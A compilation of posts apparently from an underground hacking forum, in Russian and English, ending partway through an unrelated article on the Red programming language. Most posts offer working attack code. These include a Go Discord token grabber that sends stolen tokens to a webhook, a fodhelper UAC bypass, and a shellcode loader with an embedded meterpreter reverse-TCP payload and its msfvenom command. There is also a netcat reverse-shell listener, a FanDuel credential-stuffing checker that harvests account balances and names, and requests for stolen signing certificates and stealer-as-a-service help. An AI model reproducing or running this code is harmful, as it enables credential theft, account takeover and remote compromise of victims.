$addedType::Main().Wait()
Телеграм:
@RooseveltRow
@eby_usa
@malware_guru
@lazarus_bear
@HiddenCobra666
Все файлы в формате PDF. All files are in PDF format.
1. Даннен Крис. Введение в Ethereum и Solidity
2. Мальдонадо Ф.К. Введение в Блокчейн и Эфириум
Приветствую, интересует вопрос, как подписать apk правильно?
Если подписываешь нулёвым сертификатом, конечно же возникает такая
неприятность, как гугл протект.
Если подписать сертом, который уже есть в маркете, я так понимаю, проблема
снимается.
Действующие сертификаты из маркета кто-то где-то продаёт? Есть такой рынок?
Может есть брут чужих сертификатов?
Может стоит грузануть в маркет какой-то калькулятор, трастнуть серт, а потом
подписывать?
![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- folder.png&hash=63d46597e69ae4a51888711a37d2bf45&return_error=1)
](https://mega.nz/folder/kgQAEKoY#9SxwwUVeXBZrr0sjGW7ZMw)
1351 files and 559 subfolders
mega.nz
Есть ли метод в vbscript стартвать цмд в скрытном режиме и через stdin
отправить команды?
Через Run нету метода stdin, можно проэмулить клавиши с SendKeys, но раскладка
все испортит, плюс метода в том, что можно скрыть консоль
Через Exec консоль не скроешь, но есть stdin
Very simple discord token grabber.
I'm a beginner and the code is a mess.
Code:Copy to clipboard
package main
import (
"bytes"
"fmt"
"io/ioutil"
"net/http"
"os"
"regexp"
"runtime"
"strings"
)
const (
a7Ju57ZuF = "Webhook"
)
func Z2V0RGlycw() (cGF0aHM map[string]string) {
if runtime.GOOS == "windows" {
bG9jYWxsb2NhbGxvY2FsbG9jYWw := os.Getenv("LOCALAPPDATA")
cm9hbWluZ3JvYW1pbmdyb2FtaW5n := os.Getenv("APPDATA")
cGF0aHM = map[string]string{
"Lightcord": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/Lightcord",
"Discord": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/Discord",
"Discord Canary": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/discordcanary",
"Discord PTB": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/discordptb",
"Google Chrome": bG9jYWxsb2NhbGxvY2FsbG9jYWw + "/Google/Chrome/User Data/Default",
"Microsoft Edge": bG9jYWxsb2NhbGxvY2FsbG9jYWw + "/Microsoft/Edge/User Data/Default",
"Opera": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/Opera Software/Opera Stable",
"Opera GX": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/Opera Software/Opera GX Stable",
"Brave": bG9jYWxsb2NhbGxvY2FsbG9jYWw + "/BraveSoftware/Brave-Browser/User Data/Default",
"Naver Whale": bG9jYWxsb2NhbGxvY2FsbG9jYWw + "/Naver/Naver Whale/User Data/Default",
}
}
return
}
func ZmluZFRva2Vucw(cGF0aHBhdGhwYXRocGF0aA string) (tokens []string) {
Y0dGMGFIQmhkR2h3WVhSb2NHRjBhQQ := regexp.MustCompile("[\\w-]{24,26}\\.[\\w-]{6}\\.[\\w-]{27,38}|mfa\\.[\\w-]{84}")
cGF0aHBhdGhwYXRocGF0aA += "/local Storage/leveldb/"
files, _ := ioutil.ReadDir(cGF0aHBhdGhwYXRocGF0aA)
for _, file := range files {
name := file.Name()
if strings.HasSuffix(name, ".log") || strings.HasSuffix(name, ".ldb") {
content, _ := ioutil.ReadFile(cGF0aHBhdGhwYXRocGF0aA + "/" + name)
lines := bytes.Split(content, []byte("\\n"))
for _, line := range lines {
for _, match := range Y0dGMGFIQmhkR2h3WVhSb2NHRjBhQQ.FindAll(line, -1) {
tokens = append(tokens, string(match))
}
}
}
}
return
}
func main() {
cGF0aHM := Z2V0RGlycw()
var message string
for platform, cGF0aHBhdGhwYXRocGF0aA := range cGF0aHM {
if _, err := os.Stat(cGF0aHBhdGhwYXRocGF0aA); os.IsNotExist(err) {
continue
}
message += fmt.Sprintf("**%s**\\n```\\n", platform)
tokens := strings.Join(ZmluZFRva2Vucw(cGF0aHBhdGhwYXRocGF0aA), "\\n")
if len(tokens) > 0 {
message += tokens
} else {
message += "I can't find a token here"
}
message += "\\n```\\n"
}
data := []byte(`{"content":"` + message + `"}`)
req, _ := http.NewRequest("POST", a7Ju57ZuF, bytes.NewBuffer(data))
req.Header.Set("user-agent", "Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0")
req.Header.Set("content-type", "application/json")
cl := &http.Client{}
resp, err := cl.Do(req)
if err != nil {
panic(err)
}
defer resp.Body.Close()
}
winhttp_async - асинхронный HTTP-клиент с поддержкой HTTPS, прокси,
отправка/парсинг заголовков, поддержка редиректов, поддержка no_std (нет
зависимости от стандартной библиотеки, только core+alloc), простое builder-api
для создания клиентов и запросов. HTTPS может работать криво на Windows 7 без
обновлений.
Пример использования:
YAML:Copy to clipboard
// Cargo.toml
[dependencies]
tokio = { version = "1.34.0", features = ["full"] }
winhttp_async = { path = "/some/path/winhttp_async" }
C-like:Copy to clipboard
// main.rs
use winhttp_async::{encode_utf16, ClientBuilder, Proxy, RequestBuilder};
#[tokio::main]
async fn main() {
let host = encode_utf16("httpbin.org");
let user_agent = encode_utf16("example user agent");
let method = encode_utf16("GET");
let path = encode_utf16("/get");
let header_name = encode_utf16("Content-Type");
let header_value = encode_utf16("application/json");
// configure and build new http client with necessary options
let client = ClientBuilder::new()
.host(&host)
.port(443)
.user_agent(&user_agent)
.proxy(Proxy::Automatic) // use Proxy::Default on systems witch Windows 8.1 and earlier
.connect_retries(3)
.timeout(60000)
.build()
.expect("build client failed");
// configure new request
let b = RequestBuilder::new()
.secure(true)
.method(&method)
.path(&path);
// send request and await for a response
let resp = client.send(b).await.expect("send request failed");
// check status code
assert_eq!(resp.status_code(), Some(200));
// get response 'Content-Type' header
// -1 because v is null terminated
assert_eq!(
resp.header(&header_name),
Some(&header_value[..header_value.len() - 1])
);
}
Перед использованием запускаем тесты:
cargo test
Или билдим тесты в один бинарник и прогоняем на других машинах:
cargo test --no-run
Некоторые тесты могут падать на Win7 без обновлений.
Пароль от архива:
Hidden content for authorized users.
xss.is
Привет форумчане)
Ломаю голову, не могу найти решения никак
Делаю Get запрос, в надежде получить ответом бинарный файл (recv)
Читаю в цикле пока не равно нулю
(Пробовал вызывать первый раз функцию и из первого ответа брать число сколько
надо читать, но тогда файл почему-то записывается где-то без четверти с конца
[так же как и резать его по тому же размеру])
по итогу получается вот какая картина:
[ + ] Оригинальный конец файла выглядит так:
[ - ] То что я получаю выглядит вот так:
то есть, будто бы дописывает несколько раз конец
при том длина буфера после чтения в него данных каждый раз разная
Таблица импорта в таком файле выглядит примерно так:
я думаю вопрос с получением нуль терминированных символов но это не точно
так же делал пару тестов с получением хтмл страницы, вроде все норм
сокетоводы, отпишитесь плз)
Hello, this is a UAC Bypass program written in Golang. If there is a better way, please recommend it.
Code:Copy to clipboard
package main
import (
"os"
"os/exec"
"syscall"
"unsafe"
re "golang.org/x/sys/windows/registry"
)
func IsAdmin() bool {
var infoPointer uintptr
syscall.NewLazyDLL("netapi32.dll").NewProc("NetUserGetInfo").Call(
0,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(os.Getenv("USERNAME")))),
1,
uintptr(unsafe.Pointer(&infoPointer)),
)
defer syscall.NewLazyDLL("netapi32.dll").NewProc("NetApiBufferFree").Call(infoPointer)
type user struct {
Username *uint16
Password *uint16
PasswordAge uint32
Priv uint32
HomeDir *uint16
Comment *uint16
Flags uint32
ScriptPath *uint16
}
info := (*user)(unsafe.Pointer(infoPointer))
return info.Priv == 2
}
func GetElevation() error {
k, _, err := re.CreateKey(re.CURRENT_USER,
"Software\\Classes\\ms-settings\\shell\\open\\command", re.ALL_ACCESS)
if err != nil {
return err
}
defer k.Close()
value, err := os.Executable()
if err != nil {
return err
}
if err = k.SetStringValue("", value); err != nil {
return err
}
if err = k.SetStringValue("DelegateExecute", ""); err != nil {
return err
}
cmd := exec.Command("c"+"m"+"d"+"."+"e"+"x"+"e", "/C", "fodhelper")
err = cmd.Run()
return err
}
func BypassUAC() {
if HasElevation() {
return
}
if !IsAdmin() {
return
}
err := GetElevation()
if err != nil {
return
}
os.Exit(0)
}
func HasElevation() bool {
ret, _, _ := syscall.NewLazyDLL("shell32.dll").NewProc("IsUserAnAdmin").Call()
return ret != 0
}
Hello friends, I want to learn a software language. The language I want to learn is C++. I have some C# experience before. Do you think C++ is a good language to write a virus, ransomware or tool? Which programming language would you recommend for hacking?
Привет друзья, я хочу выучить язык программирования. Язык, который я хочу выучить, это C++. У меня есть некоторый опыт C # раньше. Считаете ли вы C++ хорошим языком для написания вирусов, программ-вымогателей или инструментов? Какой язык программирования вы бы порекомендовали для взлома?
Мне нужна помощь с этой ошибкой, прошло несколько часов, а она не решена
В общем пытаюсь реализовать чтение файла с возможостью устанавливать пропуск шага
Code:Copy to clipboard
let payload_freq= 5; // Одно выполнение на 5 итераций цикла
let mut reader = BufReader::new(file);
let mut writer = BufWriter::new(output);
let mut buffer = vec![0u8; BUFFER_SIZE].into_boxed_slice();
let mut count: usize;
loop {
count = reader.read(&mut buffer)?;
if count == BUFFER_SIZE {
...
if (пятая итерация) {
println!("payload...");
}
} else {
...
if (пятая итерация) {
println!("payload...");
}
}
}
Что-то вроде:
читаем
читаем
читаем
читаем
читаем и что-то делаем
читаем
читаем
читаем
читаем
читаем и что-то делаем
...Click to expand...
Неуверен, что нормально объяснил)
Может сталкивался кто?
hello this is my basic shellcode loader writen in golang
for generate shellcode using msfvenom use this command --> msfvenom -p
windows/meterpreter/reverse_tcp LHOST=LISTENER_IP LPORT=LISTENER_PORT -f go
Code:Copy to clipboard
package main
import (
"fmt"
"unsafe"
"syscall"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
)
func main() {
old := ""
shellcode := []byte{0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x31,0xd2,
0x89,0xe5,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,
0x31,0xff,0x0f,0xb7,0x4a,0x26,0x8b,0x72,0x28,0x31,0xc0,0xac,
0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,
0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,
0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x48,0x18,
0x8b,0x58,0x20,0x50,0x01,0xd3,0x85,0xc9,0x74,0x3c,0x49,0x8b,
0x34,0x8b,0x31,0xff,0x01,0xd6,0x31,0xc0,0xac,0xc1,0xcf,0x0d,
0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,
0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,
0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,
0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,
0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,0x68,0x33,0x32,
0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,
0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,
0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,
0x0a,0x00,0x02,0x02,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,
0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,
0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,
0x67,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,
0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,
0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,
0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,
0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,
0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,
0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,
0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,0xff,0xff,0xe9,
0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,
0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5};
_,_,e := VirtualProtect.Call(uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), uintptr(0x40), uintptr(unsafe.Pointer(&old)))
fmt.Println(e)
syscall.Syscall(uintptr(unsafe.Pointer(&shellcode[0])), uintptr(0), uintptr(0), uintptr(0), uintptr(0))
}
Hi, Currently I am trying to build a Malware stealers as a Service but I am confused how to start it, any input?
Hello there,
as the heading above, am a big fan of the Golang due to its simplicity, and i
wanted to make it as my go lang for malware development.
So am looking for any sources(Videos or Pdf) for malware development in
Golang, from beginner to advanced level.
I do wish to write my own crypter, Loader that will be capable of hiding tools
like Mimikatz so that i can drop them into the disk worrying nothing.
Please share any if you have,, you know sharing is caring.
For educational purpose... is my intention to use the skills i will gain from
there.
i have a powershell script which I use to gain rev. shell on my Debian vps.
On my server I use netcat as a listener with command: "while true; do nc -lvp
443 ; done"
I want to automate (on my server) to: when I receive connection server
downloads putty, executes putty, wait for 20 seconds and then exits.
while true; do nc -lvp 443 -e "powershell -command start-bitstransfer https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe && powershell -command start putty.exe && timeout /t 20 && exit" ; done
I tried with this command and many variants but no luck. I get an answer: No such file or Directory
Does anyone knows what I did wrong?
Чистый ФО в его первозданном виде - я даже не знаю, что может быть геморройнее. Наверно, держать исходящий спам. Экспу можно ставить памятник за то, что их ФО жив-здоров и работает =) Тут нужны более современные и более децентрализованные решения.
Click to expand...
Небольшая вводная, для статьи пока не готов. Это актуальный вопрос - хранить чувствительные файлы. Цели и интересы разные, абузы разного калибра. Речь не про зоофилию, цп и пр. конечно. Утечки, С2, малварь и пр. то что банится на github, mega, anonfiles. Требования - без банящихся clearnet доменов и IP серверов.
Торренты и dc++ это круто и всегда будет лежать в основе протокола, но мы говорим о плюшках и доп. обвесе. Тор как пример анонимный обвеса п2п за счет разделения пиров по типам - Bridge, Exit, Entry и создание цепочки между ними. Но маленькая скорость. Бесплатно ведь! А давайте будем платить?
Давай попробуем IPFS поднять.
Click to expand...
Поднять на сервере можно как приват так и паблик ноду. Но это не анонимная система, можно видеть ip с которого раздается контент по CID-у. Анонимизировать можно поддерживая proof of replication. Но нужно считать стоимость размещения у майнеровю
Spoiler: Proof of Replication
Proof-of-Replication (PoRep) schemes (this work) are another kind of PoS that additionally ensurethat P is dedicating unique physical storage to storing D. P cannot pretend to store D twice anddeduplicate the storage. This construction is useful in Cloud Storage and Decentralized Storage Network2settings, where ensuring a proper level of replication is important, and where rational servers may createSybil identities and sell their service twice to the same user. PoRep schemes ensure each replica is storedindependently. Some PoRep schemes may also be PoRet schemes.
IPFS - это прежде всего протокол, а не софт или сеть. А на ней уже строятся сети. Типа как эфир и токены. Плюсы - там есть домены, gateway (см. мою подпись). Нужно поднять свою ноду(запустить софт) и привязать домен. Помните free dns? Она и будет служить "окном" выдачи контента который хранится на других типах нод, дисковых.
Зная тенденцию совремменных технологий, это во первых мало информации\гайдов, во вторых отсутствие или максимально недружелюбные UI...
Если толковый гайд запилите как настроить, где брать контент, как искать файлы, с меня лично респект и лойсы.Click to expand...
Да, так и есть, технология выглядит сырой, все обсуждается на зарубежных форумах, гит ветках и на конфах. Но и наступление зрелости можно пропустить.
Вот пример для ознакомления ровно того о чем сейчас мы ведем речь
crustnetwork dot io
Можно залить или скачать файл, оплатить или принимать оплату. Это на базе IPFS протокола и PolkaDot
Приглашаю к обсуждению отметившихся в соседней теме Dread Pirate Roberts pxEx0Z DimmuBurgor gliderexpert
Помогите пожалуйста, имеем файл со строками вида:
smtp.sina.cn|465|20|1|0|true|1|1|1|0|laurenbbt@sina.cn|1526016ll|0|1|0|20|5||
Мне нужно убрать лишнее в строке и оставить только
laurenbbt@sina.cn|1526016
Подскажите пожалуйста как это сделать в Notepad++ или в Emeditor?
Или может кто скрипт сделать?
Proxies supported:
http
socks4
socks5
Upon successful login script will retrieve following values:
Username|ID|has_deposited|withdraw Balance|First name|Last
name|Experience|MFA_enabled|Withdrawl|Deposit|Country
Warning fanduel.com will ratelimit after a few login attempts on same origin IP
Code:Copy to clipboard
package main
import (
"bufio"
"compress/gzip"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"os"
"strings"
"sync"
"time"
"crypto/tls"
"github.com/valyala/fastjson"
)
var (
proxies sync.Map // Concurrent map for proxies
accounts = []string{}
removeCh = make(chan int) // Channel for removing proxy keys
)
func WriteFile(name, content string) bool {
file, err := os.OpenFile(name, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
panic(err)
return false
}
defer file.Close()
if _, err := file.WriteString(content); err != nil {
panic(err)
return false
}
return true
}
func OpenFile(name string) []string {
file, err := os.Open(name)
if err != nil {
panic(err)
}
defer file.Close()
lines := []string{}
scanner := bufio.NewScanner(file)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines
}
func init() {
accounts = OpenFile("logs.txt")
file, err := os.Open("proxies.txt")
if err != nil {
fmt.Println(err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
for i := 0; scanner.Scan(); i++ {
proxyURL, err := url.Parse(scanner.Text())
if err != nil {
fmt.Println("Proxy format not valid:", err)
} else {
if proxyURL.Scheme != "http" && proxyURL.Scheme != "socks5" && proxyURL.Scheme != "socks4" {
fmt.Printf("Invalid proxy format (required http or socks5): %s\n", proxyURL.Scheme)
} else {
proxies.Store(i, scanner.Text()) // Store key-value pair in sync.Map
}
}
}
}
func check(email string, pass string, proxy string) int {
for {
var req *http.Request
var res *http.Response
var err error
var body []byte
var pResult *fastjson.Value
var p fastjson.Parser
var succ bool
proxyURL, _ := url.Parse(proxy)
transport := &http.Transport{
Proxy: http.ProxyURL(proxyURL),
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
netClient := &http.Client{
Timeout: time.Second * 10,
Transport: transport,
}
url := "https://api.fanduel.com/sessions"
payload := fmt.Sprintf("{\"email\": \"%s\", \"password\":\"%s\", \"product\": \"SB\", \"location\": \"AZ\"}", email, pass)
payloadz := strings.NewReader(payload)
req, err = http.NewRequest("POST", url, payloadz)
if err != nil {
}
req.Header.Add("Accept", "application/vnd.fanduel.reduced_user_view+json")
req.Header.Add("Accept-Encoding", "gzip, deflate, br")
req.Header.Add("Accept-Language", "en-GB,en;q=0.9")
req.Header.Add("Authorization", "Basic ODc2YmQzOTE3ZWE3NjYwMjZhNjg5YzY2MTE5OGQxMmU6")
req.Header.Add("Content-Type", "application/json;charset=UTF-8")
req.Header.Add("Origin", "https://account.az.sportsbook.fanduel.com")
req.Header.Add("Referer", "https://account.az.sportsbook.fanduel.com/")
req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
req.Header.Add("X-Brand", "FANDUEL")
req.Header.Add("X-Geo-Region", "")
req.Header.Add("X-Product-Region", "AZ")
res, err = netClient.Do(req)
if err != nil {
return 1
} else {
defer res.Body.Close()
}
if res.StatusCode != 201 {
if res.StatusCode == 429 {
body, _ = ioutil.ReadAll(res.Body)
if strings.Contains(string(body), "15001") == true {
return 1
} else{
succ = WriteFile("bad.txt", email+" (Locked)\n")
return 5
}
} else if res.StatusCode == 403 {
return 1
}else if res.StatusCode == 401{
body, _ = ioutil.ReadAll(res.Body)
if strings.Contains(string(body), "MFA") == true {
succ = WriteFile("bad.txt", email+" (MFA)\n")
return 6
} else if strings.Contains(string(body), "API.92") == true {
succ = WriteFile("bad.txt", email+"\n")
return 4
}
} else {
body, _ = ioutil.ReadAll(res.Body)
res4, err := p.Parse(string(body))
if err != nil {
if strings.Contains(string(body), "Request") == true {
return 1
} else if string(body) == ""{
return 1
}
}
if res4.GetStringBytes("appId") != nil {
return 1
} else {
succ = WriteFile("bad.txt", email+"\n")
if !succ {
fmt.Println("Bad email write failed\n")
}
return 4
}
}
}
body, _ = ioutil.ReadAll(res.Body)
pResult, err = p.Parse(string(body))
if err != nil {
if strings.Contains(string(body), "Request") == true {
return 1
} else if string(body) == ""{
return 1
}
}
unixMilli := time.Now().UnixMilli()
concat := fmt.Sprintf("https://api.fanduel.com/users/current?_=%d", unixMilli)
req, _ = http.NewRequest("GET", concat, nil)
req.Header.Add("Accept", "application/json")
req.Header.Add("Accept-Encoding", "gzip, deflate, br")
req.Header.Add("Accept-Language", "en-GB,en;q=0.6")
req.Header.Add("Authorization", "Basic ODc2YmQzOTE3ZWE3NjYwMjZhNjg5YzY2MTE5OGQxMmU6")
req.Header.Add("Origin", "https://account.az.sportsbook.fanduel.com")
req.Header.Add("Referer", "https://account.az.sportsbook.fanduel.com/")
req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
req.Header.Add("X-Auth-Token", string(pResult.GetStringBytes("sessions", "0", "id")))
req.Header.Add("X-Brand", "FANDUEL")
req.Header.Add("X-Geo-Region", "")
req.Header.Add("X-Product-Region", "AZ")
res, err = netClient.Do(req)
if err != nil {
return 1
} else {
defer res.Body.Close()
}
if res.StatusCode == 401 {
fmt.Println("Auth token related failure: retrying\n")
continue
}
reader, err := gzip.NewReader(res.Body)
if err != nil {
fmt.Println("Request decode failed\n")
} else {
body, _ = ioutil.ReadAll(reader)
pResult, err = p.Parse(string(body))
if err != nil {
if strings.Contains(string(body), "Request") == true {
return 1
} else if string(body) == ""{
return 1
}
}
formatted := fmt.Sprintf("%s|%s|%v|%f|%s|%s|%s|%v|%v|%v|%s\n", pResult.GetStringBytes("users", "0", "username"), pResult.GetStringBytes("users", "0", "id"), pResult.GetBool("users", "0", "has_deposited"), pResult.GetFloat64("users", "0", "withdrawable_balance"), pResult.GetStringBytes("users", "0", "first_name"), pResult.GetStringBytes("users", "0", "last_name"), pResult.GetStringBytes("users", "0", "experience"), pResult.GetBool("users", "0", "mfa_enabled"), pResult.GetBool("users", "0", "eligibility", "withdrawal"), pResult.GetBool("users", "0", "eligibility", "deposit"), pResult.GetStringBytes("users", "0", "country"))
succ = WriteFile("fun.txt", formatted)
if !succ {
fmt.Println("Log write failed")
}
}
return 0
}
}
func getRandomProxy() (int, string) {
var randomKey int
var randomURL string
rand.Seed(time.Now().UnixNano())
// Create a slice to hold all keys
keys := make([]int, 0)
// Iterate over the map and collect keys
proxies.Range(func(key, value interface{}) bool {
keys = append(keys, key.(int))
return true // continue iteration
})
// If there are no keys, return empty values
if len(keys) == 0 {
return randomKey, randomURL
}
// Randomly select a key
for {
randomIndex := rand.Intn(len(keys))
randomKey = keys[randomIndex]
// Retrieve the corresponding value
if value, ok := proxies.Load(randomKey); ok {
randomURL = value.(string)
break // Exit the loop if value is found
} else {
continue
}
}
return randomKey, randomURL
}
func removeProxy(key int) {
proxies.Delete(key)
}
func proxyRemover() {
for key := range removeCh {
removeProxy(key)
}
}
func main() {
go proxyRemover() // Start proxy remover goroutine
// Check if proxies map is empty before starting goroutines
waitGroup := sync.WaitGroup{}
for i := 0; i < len(accounts); i++ {
waitGroup.Add(1)
account := strings.SplitN(accounts[i], ":", 2)
go func(email string, pass string) {
defer waitGroup.Done()
for {
key, randProxy := getRandomProxy()
if(randProxy == "") {
//fmt.Printf("No proxies remaining")
return
};
val := check(email, pass, randProxy)
if val == 4 {
fmt.Printf("Bad: %s\n", email)
return
} else if val == 1 {
fmt.Printf("%s | Bad Proxy: %s\n", email, randProxy)
removeCh <- key // Send key to remove from map
} else if val == 3 {
fmt.Println("Parse failed\n")
return
} else if val == 5 {
fmt.Printf("Account locked: %s\n", email)
return
} else if val == 6 {
fmt.Printf("Valid (MFA enabled): %s\n", email)
return
}else {
fmt.Printf("Good: %s\n", email)
return
}
}
}(account[0], account[1])
}
waitGroup.Wait()
close(removeCh) // Close the remove channel after all goroutines finish
fmt.Println("Checking complete\n")
}
Step 1.
Load the XML Template inside of BAS (Bablosoft.com)
https://bablosoft.com/shop/BrowserAutomationStudio
https://bablosoft.com/shop/BrowserAutomationStudio#download
Step 2.
Select your Cookie Folder path that contains your .text Netscape formatted
cookies
[ https://github.com/user- attachments/assets/5c4478c2-2ecc-4c85-b15a-c275b6fb89b5 ](https://github.com/user- attachments/assets/5c4478c2-2ecc-4c85-b15a-c275b6fb89b5)
3. Select your Cookie Folder path that contains your .text Netscape formatted
cookies
Hit Run
[ https://github.com/user- attachments/assets/a2c5dc1e-8bfd-4b05-855e-27bedb291de9 ](https://github.com/user- attachments/assets/a2c5dc1e-8bfd-4b05-855e-27bedb291de9)
**Please Note - - That this is in "RECORDING MODE" so you can see the steps the software takes and the actions performed to check and validate cookies.
Results are printed in the LOG, RESULTS and Desktop by default.
If you have telegram enabled - - then your bot will send you the hits.
![](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fuser- attachments%2Fassets%2Fd3fc70c5-e836-49de-997d-acafb69c69ee&hash=2fa3a6164262377be8b7f6f97d1b4d0a)
![](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fuser- attachments%2Fassets%2F016f0710-0c29-4957-8c44-ad3b88c912f0&hash=ae088a915e63f4f7d40d3d48f46befc1)
Здравствуйте знатоки, прошу подсказать мне с какой книги стоит изучать ассемблер? Я так понял есть разные ассемблеры, но мне нужен тот, который под винду.
Надо подобрать/написать/собрать дорк под мой запрос
Есть ли мануалы/статьи/видео по работе с SilverBullet по которым вы возможно учились или учили. Заранее благодарю
*.application формат файла, не особо документирован у мелкомягких. Содержит структуру xml. Возможно ли через него запустить cmd.exe или calc.exe?
Предисловие
Всем привет, с вами снова Патрик, и сегодня у нас под скальпелем (или микроскопом, тут как вам будет угодно) очень, не постесняюсь этого слова ОЧЕНЬ интересный язык программирования - Red lang.
Поясню. Если мы посмотрим на все множество языков программирования, то можем легко разделить их на несколько групп (хоть и грубо и с некоторыми допущениями).
Бывают си-подобные языки, мы все их знаем, любим и повсеместно используем. Их можно легко узнать по характерным конструкциям кода, обилию символов ";" в конце строки, а пишут на ниш чаще всего в ООП стиле (а иногда и без него вовсе). Сюда мы можем отнести очевидно C, C++, C#, Objective-C, D, Go, и с некоторыми допущениями возможно даже Java, и даже JavaScript и еще много-много всего. На сегодняшний день, это самая большая группа языков в нашей условной классификации.
Все эти языки могут быть абсолютно разными по назначению, но многие вещи в них реализованы если не идентично, то ну очень похоже. Грубо говоря если в С вы в курсе как реализовать алгоритм "найди нужный элемент в списке и верни его индекс", то и в Java, и в Go вы плюс минус понимаете что нужно сделать.
Как пример - давайте возьмем что-то действительно простое, чтобы не загромождать статью кодом, и посмотрим как это реализовано в языках семейства Си. Например, старый добрый, избитый и затасканный факториал.
Вот так этот алгоритм реализуется в С:
C:Copy to clipboard
int factorial(int n) {
int result = 1;
for (int i = 1; i <= n; ++i)
result *= i;
return result;
}
А вот так в Go:
Code:Copy to clipboard
func factorial(n int64) *big.Int {
if n < 0 {
return nil
}
r := big.NewInt(1)
var f big.Int
for i := int64(2); i <= n; i++ {
r.Mul(r, f.SetInt64(i))
}
return r
}
А вот так в JavaScript:
JavaScript:Copy to clipboard
function factorial(n) {
if (n < 0) { throw "Number must be non-negative"; }
var result = 1;
while (n > 1) {
result *= n;
n--;
}
return result;
}
В общем, вы поняли идею - даже не зная какого-то конкретного языка из этого подмножества, можно посмотреть на код и плюс минус понять, что вообще происходит, если вы когда-либо сталкивались с Си-подобным синтаксисом.
Есть другая достаточно большая группа под названием "семейство языков ML". Их фишка - функциональный стиль и крутецкая система типов Хиндли-Милнера. Сюда мы можем отнести OCaml, F#, Haskell, ReasonML и опять же, с некоторой натяжкой Rust.
Эти языки вы тоже легко узнаете, если встречали хоть раз - тут принято использовать паттерн матчинг, а код изобилует символами всевозможных вариаций стрелочек и вертикальных черт.
В качестве примера, вычислим факториал в Haskell:
Code:Copy to clipboard
factorial :: Integral -> Integral
factorial 0 = 1
factorial n = n * factorial (n-1)
И сделаем то же самое в Rust:
Code:Copy to clipboard
fn factorial_recursive (n: u64) -> u64 {
match n {
0 => 1,
_ => n * factorial_recursive(n-1)
}
}
Не правда ли характерные и узнаваемые черты и конструкции?
Если лиспообразные языки, который тоже узнает кто угодно с первого взгляда - код там состоит из смайликов чуть более чем полностью. Сюда у нас попадают Common Lisp, различные реализации языка Scheme, Racket, Clojure, и еще много всего.
Бывают языки с синтаксисом, как у Ruby.
Бывают языки с синтаксисом, похожим на Delphi/Pascal (с бесконечно бесящим
присваиванием через :=, скажем хором дедушке Вирту спасибо за наш туннельный
синдром).
С этим всем все понятно.
А бывают странные языки. Языки, с синтаксисом, не похожим ни на одну из
вышеперечисленных групп. Языки с абсолютно другим взглядом на то, как удобно и
как все должно работать. У них привычные вещи делаются непривычно, алогично и
вообще не так, как мы привыкли. И при изучении языка, набирая на клавиатуре
